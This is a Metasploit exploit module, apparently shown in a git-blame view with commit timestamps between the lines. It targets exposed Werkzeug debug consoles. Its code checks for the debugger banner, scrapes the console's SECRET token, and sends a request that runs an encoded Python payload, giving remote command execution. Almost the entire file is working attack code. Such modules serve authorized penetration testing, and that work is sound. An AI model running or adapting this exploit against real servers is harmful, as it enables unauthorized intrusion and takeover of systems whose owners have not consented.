metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb

80 lines
2.3 KiB
Ruby
Raw Normal View History

2015-07-11 01:13:12 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Werkzeug Debug Shell Command Execution',
'Description' => %q{
This module will exploit the Werkzeug debug console to put down a
python shell. This debugger "must never be used on production
machines", but sometimes slips passed testing.
Tested against:
0.9.6 on Debian
2015-07-12 01:03:02 +00:00
0.9.6 on Centos
0.10 on Debian
2015-07-11 01:13:12 +00:00
},
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
2015-07-25 00:34:40 +00:00
[ 'URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
2015-07-11 01:13:12 +00:00
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
2015-08-01 15:11:37 +00:00
'Targets' => [[ 'werkzeug 0.10 and older', {}]],
2015-07-11 01:13:12 +00:00
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2015',
)
register_options(
[
2015-08-01 15:11:37 +00:00
OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
2015-07-11 01:13:12 +00:00
], self.class
)
end
def check
2015-08-01 15:11:37 +00:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
if res && res.body =~ /Werkzeug powered traceback interpreter/
2015-07-25 00:34:40 +00:00
return Exploit::CheckCode::Appears
2015-07-11 01:13:12 +00:00
end
2015-08-01 15:11:37 +00:00
Exploit::CheckCode::Safe
2015-07-11 01:13:12 +00:00
end
def exploit
2015-08-01 15:11:37 +00:00
# first we need to get the SECRET code
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
2015-07-25 00:34:40 +00:00
if res && res.body && res.body.to_s =~ /SECRET = "([a-zA-Z0-9]{20})";/
secret = $1
2015-08-01 18:39:12 +00:00
vprint_status("Secret Code: #{secret}")
2015-08-01 15:11:37 +00:00
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'__debugger__' => 'yes',
'cmd' => payload.encoded,
'frm' => '0',
's' => secret
}
)
2015-07-11 01:13:12 +00:00
else
2015-08-01 15:11:37 +00:00
print_error('Secret code not detected.')
2015-07-11 01:13:12 +00:00
end
end
end